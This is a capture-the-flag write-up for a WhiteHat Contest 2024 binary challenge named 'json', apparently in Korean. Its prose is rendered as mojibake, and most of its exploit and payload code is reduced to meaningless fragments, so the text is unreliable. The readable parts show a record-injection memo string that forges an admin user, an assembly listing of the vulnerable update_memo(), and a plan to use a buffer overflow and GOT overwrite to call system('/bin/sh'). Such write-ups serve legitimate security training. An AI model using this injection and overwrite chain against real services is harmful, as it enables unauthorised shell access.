WhiteHat Contest 2024 - json
0x00. Introduction
)
Concept
init() ํจ์๋ฅผ ๋ณด๋ฉด ์คํ ๋๋ง๋ค /users/[random string]๋ผ๋ ์ด๋ฆ์ผ๋ก USER_FILE์ ์์ฑํด์ DB ํ์ผ๋ก ์ฌ์ฉํ๋ค. ์ต์ด์๋ user_base.bin ํ์ผ์ ์ฝ์ด์ ๊ทธ๋๋ก ์ ์ฅํ๋ฉฐ ๋ด์ฉ์ ๋ค์๊ณผ ๊ฐ๋ค.
[2|guest|guest|guest memo]2: type- 1st
guest: user - 2nd
guest: pass guest memo: memo
์ด DB ํ์ผ์ ๊ธฐ๋ฐ์ผ๋ก user, pass๊ฐ ์ผ์นํ๋ฉด token์ ๋ฐํํด ์ธ์
์ ์์ฑํ๊ณ , ๊ทธ ์ ๋ณด๋ฅผ session ์ ์ญ๋ณ์์ ์ ์ฅํ๋ค.
Structure
;
๋ฐํ๋ ์ธ์ ์ ๋ํ ์ ๋ณด๊ฐ ์์ ๊ฐ์ ๊ตฌ์กฐ์ฒด ํ์์ผ๋ก ์ ์ฅ๋๋ค.
Goal
int __fastcall __noreturn
char *
type์ด 1์ผ ๊ฒฝ์ฐ update_memo()๋ฅผ ํธ์ถํ ์ ์๊ณ , ๊ทธ ์์์ BOF๊ฐ ๋ฐ์ํ๋ค.
0x01. Vulnerability
void __fastcall
create_user()์์ USER_FILE์ ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ ์ ์๋๋ฐ type์ด 2๊ฐ ๋๊ฒ๋ ํ๋์ฝ๋ฉ ๋์ด์๋ค.
ํ์ง๋ง memo์ ๋ํ ๊ฒ์ฆ์ด ์์ด ๋ค์๊ณผ ๊ฐ์ด injection์ด ๊ฐ๋ฅํ๋ค.
memo:AAAA]\n[1|admin|admin|admin memo
[2|guest|guest|guest memo]
[2|AAAA|AAAA|AAAA]
[1|admin|admin|admin memo]
์ดํ admin/admin์ผ๋ก create_session()์ ํธ์ถํ๋ฉด type์ด '1'์ธ ์ธ์
์ด ์์ฑ๋๋ค.
0x02. Exploit
์ด์ ROP๋ง ์ํํ๋ฉด ๋๊ฒ ๋ค ์ถ์๋๋ฐ ์ ์ํ๊ฒ๋ ์ธ์๋ฅผ ์ค์ ํ ๊ฐ์ ฏ์ด ํ๋๋ ์์๋ค.
|
;
;
์ฒ์์๋ update_memo()์ strncpy ์ข
๋ฃ ์์ ์ ๋ ์ง์คํฐ๋ฅผ ์ด์ฉํ๋ ค๊ณ ํ์ผ๋, session->memo์ ๋ ๋ถ๋ถ์ ๊ฐ๋ฆฌํค๊ณ ์์ด /bin/sh ๋ฑ์ ์ธ์๋ฅผ ๋ฃ์ด์ฃผ๋ ๊ฒ์ด ๋ถ๊ฐ๋ฅํด๋ณด์๋ค.
system PLT๊ฐ ๊ดํ ์๋ ๊ฒ์ ์๋๊ฑฐ๋ผ๊ณ ์๊ฐํด์ update_memo()๋ฅผ assembly๋ก ์ดํด๋ณด์๋ค.
.text:0000000000402140 endbr64
.text:0000000000402144 push rbp
.text:0000000000402145 mov rbp, rsp
.text:0000000000402148 sub rsp, 10h
.text:000000000040214C lea rax, [rbp+buf]
.text:0000000000402150 mov edx, 100h ; nbytes
.text:0000000000402155 mov rsi, rax ; buf
.text:0000000000402158 mov edi, 0 ; fd
.text:000000000040215D call _read
.text:0000000000402162 mov rax, cs:session
.text:0000000000402169 mov rax, [rax+20h]
.text:000000000040216D lea rcx, [rbp+buf]
.text:0000000000402171 mov edx, 100h ; n
.text:0000000000402176 mov rsi, rcx ; src
.text:0000000000402179 mov rdi, rax ; dest
.text:000000000040217C call _strncpy
.text:0000000000402181 nop
.text:0000000000402182 leave
.text:0000000000402183 retn
read์ ์ธ์์ธ rsi๊ฐ rbp๋ฅผ ํตํด ์ค์ ๋๋๋ฐ, BOF๋ฅผ ํตํด rbp๋ ์ผ๋ง๋ ์ง ์ปจํธ๋กค ํ ์ ์์ผ๋ฏ๋ก AAW๋ ๊ฐ๋ฅํ ์ํฉ์ด๋ค.
์ฌ๊ธฐ์์ GOT overwrite๋ฅผ ์๊ฐํ๊ณ , strncpy์ rdi๊ฐ session->memo๋ก ์ค์ ๋๋ ๊ฒ์ ์ด์ฉํ์ฌ ๋ฏธ๋ฆฌ /bin/sh๋ฅผ ๋ฃ์ด๋๋ฉด ์ ์คํ์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ํ๋จํ๋ค.
= 0x40214C
= b * 2
+= # rbp
+= # ret
= # system
0x03. Payload
=
=
=
= 0x555555554000
=
= f
=
= f
return
= f
return
= f
return
= f
return
= f
return
=
=
=
=
=
=
=
= 0x40214C
= b * 2
+= # rbp
+= # ret
= # system
=
=